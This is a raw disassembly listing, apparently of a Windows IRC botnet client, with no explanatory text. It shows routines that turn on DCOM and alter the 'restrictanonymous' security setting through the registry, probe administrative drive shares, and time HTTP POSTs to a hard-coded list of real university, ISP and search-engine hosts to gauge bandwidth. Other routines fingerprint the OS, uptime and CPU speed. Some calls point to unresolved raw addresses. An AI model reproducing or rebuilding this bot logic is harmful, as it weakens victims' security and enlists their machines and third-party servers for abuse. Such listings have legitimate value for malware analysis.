; ---------------------------------------------------------------------------
loc_419FAB: ; CODE XREF: sub_419E79+13j
push offset dword_439B10
loc_419FB0: ; CODE XREF: sub_419E79+130j
lea eax, [ebp+var_214]
push eax
call sub_41B886
pop ecx
pop ecx
loc_419FBE: ; CODE XREF: sub_419E79+129j
cmp [ebp+arg_C], edi
jnz short loc_419FDD
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
loc_419FDD: ; CODE XREF: sub_419E79+148j
lea eax, [ebp+var_214]
push eax
call sub_4151AC
cmp dword_4CB06C, edi
pop ecx
jnz loc_41A158
push ebx
mov [ebp+var_4], edi
mov [ebp+var_14], edi
mov [ebp+var_C], edi
loc_41A000: ; CODE XREF: sub_419E79+2C3j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push 0FFFFFFFFh
push eax
push 1F6h
push edi
call dword_4CAEB8
cmp eax, edi
mov [ebp+var_10], eax
jz short loc_41A09D
cmp eax, 0EAh
jz short loc_41A09D
mov esi, offset off_4399D8
loc_41A031: ; CODE XREF: sub_419E79+21Dj
push dword ptr [esi]
push edi
call sub_418C6B
pop ecx
pop ecx
push dword ptr [esi]
test eax, eax
jnz short loc_41A048
push offset dword_439AEC
jmp short loc_41A04D
; ---------------------------------------------------------------------------
loc_41A048: ; CODE XREF: sub_419E79+1C6j
push offset dword_439AC0
loc_41A04D: ; CODE XREF: sub_419E79+1CDj
lea eax, [ebp+var_214]
push 200h
push eax
call sub_41B980
add esp, 10h
cmp [ebp+arg_C], edi
jnz short loc_41A080
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
loc_41A080: ; CODE XREF: sub_419E79+1EBj
lea eax, [ebp+var_214]
push eax
call sub_4151AC
add esi, 8
pop ecx
cmp esi, offset dword_4399F8
jb short loc_41A031
jmp loc_41A135
; ---------------------------------------------------------------------------
loc_41A09D: ; CODE XREF: sub_419E79+1AAj
; sub_419E79+1B1j
mov esi, [ebp+var_8]
push 1
pop ebx
cmp [ebp+var_4], ebx
jb loc_41A12C
loc_41A0AC: ; CODE XREF: sub_419E79+2AFj
mov edi, [esi]
push edi
call sub_41D817
cmp word ptr [edi+eax*2-2], 24h
pop ecx
jnz short loc_41A121
push edi
call sub_418B58
push eax
push 0
call sub_418C6B
add esp, 0Ch
push dword ptr [esi]
test eax, eax
jnz short loc_41A0DB
push offset dword_439A9C
jmp short loc_41A0E0
; ---------------------------------------------------------------------------
loc_41A0DB: ; CODE XREF: sub_419E79+259j
push offset dword_439A70
loc_41A0E0: ; CODE XREF: sub_419E79+260j
lea eax, [ebp+var_214]
push 200h
push eax
call sub_41B980
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_41A114
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
loc_41A114: ; CODE XREF: sub_419E79+27Fj
lea eax, [ebp+var_214]
push eax
call sub_4151AC
pop ecx
loc_41A121: ; CODE XREF: sub_419E79+242j
add esi, 28h
inc ebx
cmp ebx, [ebp+var_4]
jbe short loc_41A0AC
xor edi, edi
loc_41A12C: ; CODE XREF: sub_419E79+22Dj
push [ebp+var_8]
call dword_4CB004
loc_41A135: ; CODE XREF: sub_419E79+21Fj
cmp [ebp+var_10], 0EAh
jz loc_41A000
lea eax, [ebp+var_214]
push offset dword_439A48
push eax
call sub_41B886
pop ecx
pop ecx
pop ebx
jmp short loc_41A16B
; ---------------------------------------------------------------------------
loc_41A158: ; CODE XREF: sub_419E79+177j
lea eax, [ebp+var_214]
push offset dword_439A18
push eax
call sub_41B886
pop ecx
pop ecx
loc_41A16B: ; CODE XREF: sub_419E79+2DDj
cmp [ebp+arg_C], edi
jnz short loc_41A189
push edi
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
loc_41A189: ; CODE XREF: sub_419E79+2F5j
lea eax, [ebp+var_214]
push eax
call sub_4151AC
pop ecx
push 1
pop eax
pop edi
pop esi
leave
retn
sub_419E79 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A19D proc near ; CODE XREF: sub_419E19:loc_419E60p
var_220 = byte ptr -220h
var_20 = byte ptr -20h
var_14 = byte ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 220h
push ebx
xor ebx, ebx
cmp dword_4CB044, ebx
push esi
jnz loc_41A2CB
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push ebx
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_4CAFE4
test eax, eax
jnz short loc_41A228
mov ax, word_438770
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push ebx
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_4CAF98
test eax, eax
jz short loc_41A20A
push offset dword_439DC8
jmp short loc_41A20F
; ---------------------------------------------------------------------------
loc_41A20A: ; CODE XREF: sub_41A19D+64j
push offset dword_439DAC
loc_41A20F: ; CODE XREF: sub_41A19D+6Bj
lea eax, [ebp+var_220]
push eax
call sub_41B886
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CAF50
jmp short loc_41A23B
; ---------------------------------------------------------------------------
loc_41A228: ; CODE XREF: sub_41A19D+36j
lea eax, [ebp+var_220]
push offset dword_439C00
push eax
call sub_41B886
pop ecx
pop ecx
loc_41A23B: ; CODE XREF: sub_41A19D+89j
cmp [ebp+arg_C], ebx
jnz short loc_41A25A
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
loc_41A25A: ; CODE XREF: sub_41A19D+A1j
lea eax, [ebp+var_220]
push eax
call sub_4151AC
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push ebx
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_4CAFE4
test eax, eax
jnz short loc_41A2C4
lea eax, [ebp+var_8]
push 4
push eax
push 4
push ebx
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], ebx
call dword_4CAF98
test eax, eax
jz short loc_41A2A6
push offset dword_439D6C
jmp short loc_41A2AB
; ---------------------------------------------------------------------------
loc_41A2A6: ; CODE XREF: sub_41A19D+100j
push offset dword_439D34
loc_41A2AB: ; CODE XREF: sub_41A19D+107j
lea eax, [ebp+var_220]
push eax
call sub_41B886
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CAF50
jmp short loc_41A2DE
; ---------------------------------------------------------------------------
loc_41A2C4: ; CODE XREF: sub_41A19D+E2j
push offset dword_439CF8
jmp short loc_41A2D0
; ---------------------------------------------------------------------------
loc_41A2CB: ; CODE XREF: sub_41A19D+13j
push offset dword_439B10
loc_41A2D0: ; CODE XREF: sub_41A19D+12Cj
lea eax, [ebp+var_220]
push eax
call sub_41B886
pop ecx
pop ecx
loc_41A2DE: ; CODE XREF: sub_41A19D+125j
cmp [ebp+arg_C], ebx
jnz short loc_41A2FD
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
loc_41A2FD: ; CODE XREF: sub_41A19D+144j
lea eax, [ebp+var_220]
push eax
call sub_4151AC
cmp dword_4CB06C, ebx
pop ecx
jnz loc_41A472
push edi
mov esi, offset off_4399D8
mov edi, 200h
loc_41A321: ; CODE XREF: sub_41A19D+1E9j
push dword ptr [esi+4]
push dword ptr [esi]
push ebx
call sub_418BBF
add esp, 0Ch
push dword ptr [esi]
test eax, eax
jnz short loc_41A33C
push offset dword_439CD8
jmp short loc_41A341
; ---------------------------------------------------------------------------
loc_41A33C: ; CODE XREF: sub_41A19D+196j
push offset dword_439CB0
loc_41A341: ; CODE XREF: sub_41A19D+19Dj
lea eax, [ebp+var_220]
push edi
push eax
call sub_41B980
add esp, 10h
cmp [ebp+arg_C], ebx
jnz short loc_41A370
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
loc_41A370: ; CODE XREF: sub_41A19D+1B7j
lea eax, [ebp+var_220]
push eax
call sub_4151AC
add esi, 8
pop ecx
cmp esi, offset off_4399E8
jb short loc_41A321
call near ptr 2830000h
nop
test eax, eax
mov [ebp+var_4], eax
mov bl, 41h
jz loc_41A45A
loc_41A39B: ; CODE XREF: sub_41A19D+2B7j
mov eax, [ebp+var_4]
and eax, 1
cmp al, 1
jnz loc_41A44F
cmp bl, 41h
jz loc_41A44F
movsx esi, bl
push esi
push offset aC_1 ; "%c$"
lea eax, [ebp+var_14]
push 0Ah
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_20]
push esi
push offset aC_0 ; "%c:\\"
push 0Ah
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_20]
push eax
call dword_4CAFD4
cmp eax, 3
jnz short loc_41A44F
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_14]
push eax
push 0
call sub_418BBF
add esp, 0Ch
test eax, eax
lea eax, [ebp+var_14]
push eax
jnz short loc_41A40D
push offset dword_439CD8
jmp short loc_41A412
; ---------------------------------------------------------------------------
loc_41A40D: ; CODE XREF: sub_41A19D+267j
push offset dword_439CB0
loc_41A412: ; CODE XREF: sub_41A19D+26Ej
lea eax, [ebp+var_220]
push edi
push eax
call sub_41B980
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_41A442
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
loc_41A442: ; CODE XREF: sub_41A19D+289j
lea eax, [ebp+var_220]
push eax
call sub_4151AC
pop ecx
loc_41A44F: ; CODE XREF: sub_41A19D+206j
; sub_41A19D+20Fj ...
inc bl
shr [ebp+var_4], 1
jnz loc_41A39B
loc_41A45A: ; CODE XREF: sub_41A19D+1F8j
lea eax, [ebp+var_220]
push offset dword_439C80
push eax
call sub_41B886
pop ecx
xor ebx, ebx
pop ecx
pop edi
jmp short loc_41A485
; ---------------------------------------------------------------------------
loc_41A472: ; CODE XREF: sub_41A19D+173j
lea eax, [ebp+var_220]
push offset dword_439A18
push eax
call sub_41B886
pop ecx
pop ecx
loc_41A485: ; CODE XREF: sub_41A19D+2D3j
cmp [ebp+arg_C], ebx
jnz short loc_41A4A3
push ebx
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
loc_41A4A3: ; CODE XREF: sub_41A19D+2EBj
lea eax, [ebp+var_220]
push eax
call sub_4151AC
pop ecx
push 1
pop eax
pop esi
pop ebx
leave
retn
sub_41A19D endp
; =============== S U B R O U T I N E =======================================
sub_41A4B7 proc near ; CODE XREF: sub_41A6AE+CBp
; sub_41A6AE+DDp ...
arg_0 = dword ptr 4
call near ptr 2680865h
nop
push eax
call sub_41B8D8
pop ecx
call sub_41B8E2
cdq
idiv [esp+arg_0]
mov eax, edx
retn
sub_41A4B7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A4D1 proc near ; CODE XREF: sub_41A6AE+D4p
; sub_41A6AE+E6p ...
var_38 = dword ptr -38h
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_18 = qword ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28h
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_41AFE0
mov esi, 0FFh
pop ecx
cmp eax, esi
ja loc_41A6AA
push 10h
lea eax, [ebp+var_28]
push 0
push eax
call sub_41B590
push [ebp+arg_0]
mov [ebp+var_28], 2
call sub_40AAF9
add esp, 10h
mov [ebp+var_24], eax
test eax, eax
jz loc_41A6AA
push 50h
call dword_4CAF74
push 6
push 1
push 2
mov [ebp+var_26], ax
call dword_4CAFF4
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_41A6AA
lea ecx, [ebp+var_28]
push 10h
push ecx
push eax
call dword_4CAF1C
cmp eax, 0FFFFFFFFh
jz loc_41A6AA
push 32003h
call sub_41CFC5
mov edi, dword_4270A8
mov ebx, eax
pop ecx
mov [ebp+var_8], ebx
call edi
push eax
call sub_41B8D8
call sub_41B8E2
cdq
idiv esi
mov [esp+38h+var_38], 32001h
push 0
push ebx
movsx esi, dl
call sub_41B590
push 32000h
push esi
push ebx
call sub_41B590
push ebx
call sub_41AFE0
push 323EAh
mov ebx, eax
call sub_41CFC5
add esp, 20h
mov esi, eax
push ebx
push [ebp+arg_0]
push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
push esi
call sub_41B886
push [ebp+var_8]
push esi
call sub_41BEC0
push offset asc_433824 ; "\r\n"
push esi
call sub_41BEC0
push esi
call sub_41AFE0
mov ebx, eax
add esp, 24h
mov [ebp+var_10], ebx
call edi
mov dword ptr [ebp+var_18+4], eax
xor eax, eax
test ebx, ebx
mov [ebp+arg_0], eax
jbe short loc_41A62A
mov [ebp+var_C], ebx
mov ebx, 400h
jmp short loc_41A5FA
; ---------------------------------------------------------------------------
loc_41A5F7: ; CODE XREF: sub_41A4D1+157j
mov eax, [ebp+arg_0]
loc_41A5FA: ; CODE XREF: sub_41A4D1+124j
mov ecx, [ebp+var_10]
push 0
sub ecx, eax
cmp ecx, ebx
jnb short loc_41A60A
push [ebp+var_C]
jmp short loc_41A60B
; ---------------------------------------------------------------------------
loc_41A60A: ; CODE XREF: sub_41A4D1+132j
push ebx
loc_41A60B: ; CODE XREF: sub_41A4D1+137j
add eax, esi
push eax
push [ebp+var_4]
call dword_4CAFC4
cmp eax, 0FFFFFFFFh
jz short loc_41A691
add [ebp+arg_0], ebx
sub [ebp+var_C], ebx
mov eax, [ebp+arg_0]
cmp eax, [ebp+var_10]
jb short loc_41A5F7
loc_41A62A: ; CODE XREF: sub_41A4D1+11Aj
call edi
sub eax, dword ptr [ebp+var_18+4]
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
fmul flt_427714
fst [ebp+arg_0]
fcomp flt_427710
fnstsw ax
sahf
jnz short loc_41A652
fld1
fstp [ebp+arg_0]
loc_41A652: ; CODE XREF: sub_41A4D1+17Aj
push [ebp+var_4]
call dword_4CB00C
push [ebp+var_8]
call sub_41B0B1
push esi
call sub_41B0B1
mov eax, [ebp+var_10]
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
pop ecx
fild [ebp+var_18]
pop ecx
fdiv [ebp+arg_0]
fmul flt_42770C
fmul flt_427708
call sub_41C798
loc_41A68C: ; CODE XREF: sub_41A4D1+1DBj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41A691: ; CODE XREF: sub_41A4D1+149j
push [ebp+var_4]
call dword_4CB00C
push [ebp+var_8]
call sub_41B0B1
push esi
call sub_41B0B1
pop ecx
pop ecx
loc_41A6AA: ; CODE XREF: sub_41A4D1+19j
; sub_41A4D1+42j ...
xor eax, eax
jmp short loc_41A68C
sub_41A4D1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A6AE proc near ; CODE XREF: sub_401ACD+2E61p
var_26C = byte ptr -26Ch
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 26Ch
push ebx
push esi
push edi
push 8
mov [ebp+var_4], 3
mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
mov [ebp+var_34], offset aVerio_fr ; "verio.fr"
mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
mov [ebp+var_20], offset aWww_google_it ; "www.google.it"
mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com"
mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net"
mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
mov [ebp+var_48], offset aWww_above_net ; "www.above.net"
mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
mov [ebp+var_40], offset aWww_google_com ; "www.google.com"
mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
call sub_41A4B7
push [ebp+eax*4+var_3C]
call sub_41A4D1
push 8
mov esi, eax
call sub_41A4B7
push [ebp+eax*4+var_3C]
call sub_41A4D1
add esp, 10h
test esi, esi
jz short loc_41A7AF
test eax, eax
jz short loc_41A7AB
lea ebx, [eax+esi]
shr ebx, 1
jmp short loc_41A7B1
; ---------------------------------------------------------------------------
loc_41A7AB: ; CODE XREF: sub_41A6AE+F4j
mov ebx, esi
jmp short loc_41A7B1
; ---------------------------------------------------------------------------
loc_41A7AF: ; CODE XREF: sub_41A6AE+F0j
mov ebx, eax
loc_41A7B1: ; CODE XREF: sub_41A6AE+FBj
; sub_41A6AE+FFj
push 0Ch
call sub_41A4B7
push [ebp+eax*4+var_6C]
call sub_41A4D1
push 0Ch
mov edi, eax
call sub_41A4B7
push [ebp+eax*4+var_6C]
call sub_41A4D1
add esp, 10h
test edi, edi
jz short loc_41A7E9
test eax, eax
jz short loc_41A7E5
lea esi, [eax+edi]
shr esi, 1
jmp short loc_41A7EB
; ---------------------------------------------------------------------------
loc_41A7E5: ; CODE XREF: sub_41A6AE+12Ej
mov esi, edi
jmp short loc_41A7EB
; ---------------------------------------------------------------------------
loc_41A7E9: ; CODE XREF: sub_41A6AE+12Aj
mov esi, eax
loc_41A7EB: ; CODE XREF: sub_41A6AE+135j
; sub_41A6AE+139j
push 6
call sub_41A4B7
push [ebp+eax*4+var_1C]
call sub_41A4D1
push 6
mov edi, eax
call sub_41A4B7
push [ebp+eax*4+var_1C]
call sub_41A4D1
add esp, 10h
test edi, edi
jz short loc_41A823
test eax, eax
jz short loc_41A81F
lea ecx, [eax+edi]
shr ecx, 1
jmp short loc_41A825
; ---------------------------------------------------------------------------
loc_41A81F: ; CODE XREF: sub_41A6AE+168j
mov ecx, edi
jmp short loc_41A825
; ---------------------------------------------------------------------------
loc_41A823: ; CODE XREF: sub_41A6AE+164j
mov ecx, eax
loc_41A825: ; CODE XREF: sub_41A6AE+16Fj
; sub_41A6AE+173j
xor eax, eax
test ebx, ebx
jz short loc_41A832
mov edi, [ebp+var_4]
mov eax, ebx
jmp short loc_41A835
; ---------------------------------------------------------------------------
loc_41A832: ; CODE XREF: sub_41A6AE+17Bj
push 2
pop edi
loc_41A835: ; CODE XREF: sub_41A6AE+182j
test esi, esi
jz short loc_41A83D
add eax, esi
jmp short loc_41A83E
; ---------------------------------------------------------------------------
loc_41A83D: ; CODE XREF: sub_41A6AE+189j
dec edi
loc_41A83E: ; CODE XREF: sub_41A6AE+18Dj
test ecx, ecx
jz short loc_41A846
add eax, ecx
jmp short loc_41A847
; ---------------------------------------------------------------------------
loc_41A846: ; CODE XREF: sub_41A6AE+192j
dec edi
loc_41A847: ; CODE XREF: sub_41A6AE+196j
xor edx, edx
div edi
push eax
push ecx
push esi
push ebx
lea eax, [ebp+var_26C]
push offset dword_439E20
push eax
call sub_41B886
push 0
lea eax, [ebp+var_26C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
lea eax, [ebp+var_26C]
push eax
call sub_4151AC
add esp, 30h
pop edi
pop esi
pop ebx
leave
retn
sub_41A6AE endp
; =============== S U B R O U T I N E =======================================
sub_41A88B proc near ; CODE XREF: sub_401ACD+25A0p
; sub_401ACD+2A10p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
nop
call near ptr 2680865h
xor edx, edx
mov ecx, 3E8h
div ecx
mov ebx, 15180h
xor edx, edx
mov esi, ebx
mov edi, 0E10h
mov ebp, edi
push 3Ch
mov ecx, eax
sub ecx, [esp+14h+arg_0]
mov eax, ecx
div esi
mov esi, edx
xor edx, edx
mov eax, esi
div ebp
pop ebp
mov eax, edx
xor edx, edx
div ebp
xor edx, edx
push eax
mov eax, esi
div edi
xor edx, edx
mov esi, offset dword_4DB240
push eax
mov eax, ecx
div ebx
push eax
push offset aDdDhDm ; "%dd %dh %dm"
push 32h
push esi
call sub_41B980
add esp, 18h
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41A88B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A8F4 proc near ; CODE XREF: sub_416F1A+24p
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_84 = dword ptr -84h
push ebp
mov ebp, esp
sub esp, 94h
lea eax, [ebp+var_94]
push esi
push eax
xor esi, esi
mov [ebp+var_94], 94h
nop
call near ptr 26C056Ah
test eax, eax
jz short loc_41A987
cmp [ebp+var_90], 4
jnz short loc_41A95D
cmp [ebp+var_8C], esi
jnz short loc_41A945
cmp [ebp+var_84], 1
jnz short loc_41A938
push 1
pop esi
loc_41A938: ; CODE XREF: sub_41A8F4+3Fj
cmp [ebp+var_84], 2
jnz short loc_41A987
push 1
jmp short loc_41A986
; ---------------------------------------------------------------------------
loc_41A945: ; CODE XREF: sub_41A8F4+36j
cmp [ebp+var_8C], 0Ah
jnz short loc_41A952
loc_41A94E: ; CODE XREF: sub_41A8F4+78j
push 2
jmp short loc_41A986
; ---------------------------------------------------------------------------
loc_41A952: ; CODE XREF: sub_41A8F4+58j
cmp [ebp+var_8C], 5Ah
jnz short loc_41A987
jmp short loc_41A977
; ---------------------------------------------------------------------------
loc_41A95D: ; CODE XREF: sub_41A8F4+2Ej
cmp [ebp+var_90], 5
jnz short loc_41A987
cmp [ebp+var_8C], esi
jz short loc_41A94E
cmp [ebp+var_8C], 1
jnz short loc_41A97B
loc_41A977: ; CODE XREF: sub_41A8F4+67j
push 3
jmp short loc_41A986
; ---------------------------------------------------------------------------
loc_41A97B: ; CODE XREF: sub_41A8F4+81j
cmp [ebp+var_8C], 2
jnz short loc_41A987
push 7
loc_41A986: ; CODE XREF: sub_41A8F4+4Fj
; sub_41A8F4+5Cj ...
pop esi
loc_41A987: ; CODE XREF: sub_41A8F4+25j
; sub_41A8F4+4Bj ...
mov eax, esi
pop esi
leave
retn
sub_41A8F4 endp
; =============== S U B R O U T I N E =======================================
sub_41A98C proc near ; CODE XREF: sub_41AA42+290p
push ebx
push esi
push edi
mov esi, 0F4240h
loc_41A994: ; CODE XREF: sub_41A98C+2Fj
; sub_41A98C+35j
rdtsc
push 3E8h
mov edi, edx
mov ebx, eax
call near ptr 2660F2Dh
nop
rdtsc
sub eax, ebx
push 0
sbb edx, edi
push esi
push edx
push eax
call sub_41D410
mov edi, edx
mov ebx, eax
test edi, edi
ja short loc_41A994
jb short loc_41A9C3
cmp ebx, esi
ja short loc_41A994
loc_41A9C3: ; CODE XREF: sub_41A98C+31j
push 0
push 64h
push edi
push ebx
call sub_41D480
mov ecx, edx
push 64h
xor edx, edx
mov esi, eax
test ecx, ecx
pop eax
ja short loc_41AA36
jb short loc_41A9E2
cmp esi, 50h
jnb short loc_41A9E7
loc_41A9E2: ; CODE XREF: sub_41A98C+4Fj
push 4Bh
xor edx, edx
pop eax
loc_41A9E7: ; CODE XREF: sub_41A98C+54j
test ecx, ecx
ja short loc_41AA36
jb short loc_41A9F2
cmp esi, 47h
jnb short loc_41A9F7
loc_41A9F2: ; CODE XREF: sub_41A98C+5Fj
push 42h
xor edx, edx
pop eax
loc_41A9F7: ; CODE XREF: sub_41A98C+64j
test ecx, ecx
ja short loc_41AA36
jb short loc_41AA02
cmp esi, 37h
jnb short loc_41AA07
loc_41AA02: ; CODE XREF: sub_41A98C+6Fj
push 32h
xor edx, edx
pop eax
loc_41AA07: ; CODE XREF: sub_41A98C+74j
test ecx, ecx
ja short loc_41AA36
jb short loc_41AA12
cmp esi, 26h
jnb short loc_41AA17
loc_41AA12: ; CODE XREF: sub_41A98C+7Fj
push 21h
xor edx, edx
pop eax
loc_41AA17: ; CODE XREF: sub_41A98C+84j
test ecx, ecx
ja short loc_41AA36
jb short loc_41AA22
cmp esi, 1Eh
jnb short loc_41AA27
loc_41AA22: ; CODE XREF: sub_41A98C+8Fj
push 19h
xor edx, edx
pop eax
loc_41AA27: ; CODE XREF: sub_41A98C+94j
test ecx, ecx
ja short loc_41AA36
jb short loc_41AA32
cmp esi, 0Ah
jnb short loc_41AA36
loc_41AA32: ; CODE XREF: sub_41A98C+9Fj
xor eax, eax
xor edx, edx
loc_41AA36: ; CODE XREF: sub_41A98C+4Dj
; sub_41A98C+5Dj ...
sub eax, esi
sbb edx, ecx
add eax, ebx
adc edx, edi
pop edi
pop esi
pop ebx
retn
sub_41A98C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AA42 proc near ; CODE XREF: sub_401ACD+276Ep
var_7E8 = byte ptr -7E8h
var_668 = byte ptr -668h
var_5E8 = byte ptr -5E8h
var_568 = byte ptr -568h
var_4E8 = byte ptr -4E8h
var_3E4 = byte ptr -3E4h
var_2E8 = byte ptr -2E8h
var_25C = word ptr -25Ch
var_25A = byte ptr -25Ah
var_15C = byte ptr -15Ch
var_114 = byte ptr -114h
var_CC = dword ptr -0CCh
var_C8 = dword ptr -0C8h
var_C4 = dword ptr -0C4h
var_C0 = dword ptr -0C0h
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_38 = byte ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7E8h
push ebx
push esi
lea eax, [ebp+var_CC]
push edi
push eax
mov [ebp+var_4], offset dword_43D128
mov [ebp+var_CC], 94h
nop
call near ptr 26C056Ah
xor ebx, ebx
cmp [ebp+var_C8], 4
jnz short loc_41AAC9
cmp [ebp+var_C4], ebx
jnz short loc_41AAA5
cmp [ebp+var_BC], 1
jnz short loc_41AA8F
mov [ebp+var_4], offset dword_431284
loc_41AA8F: ; CODE XREF: sub_41AA42+44j
cmp [ebp+var_BC], 2
jnz loc_41AB44
mov [ebp+var_4], offset dword_431280
jmp short loc_41AB15
; ---------------------------------------------------------------------------
loc_41AAA5: ; CODE XREF: sub_41AA42+3Bj
cmp [ebp+var_C4], 0Ah
jnz short loc_41AAB7
mov [ebp+var_4], offset dword_43127C
jmp short loc_41AB0C
; ---------------------------------------------------------------------------
loc_41AAB7: ; CODE XREF: sub_41AA42+6Aj
cmp [ebp+var_C4], 5Ah
jnz short loc_41AB05
mov [ebp+var_4], offset dword_431278
jmp short loc_41AB0C
; ---------------------------------------------------------------------------
loc_41AAC9: ; CODE XREF: sub_41AA42+33j
cmp [ebp+var_C8], 5
jnz short loc_41AB05
cmp [ebp+var_C4], ebx
jnz short loc_41AAE3
mov [ebp+var_4], offset dword_431274
jmp short loc_41AB0C
; ---------------------------------------------------------------------------
loc_41AAE3: ; CODE XREF: sub_41AA42+96j
cmp [ebp+var_C4], 1
jnz short loc_41AAF5
mov [ebp+var_4], offset dword_431270
jmp short loc_41AB0C
; ---------------------------------------------------------------------------
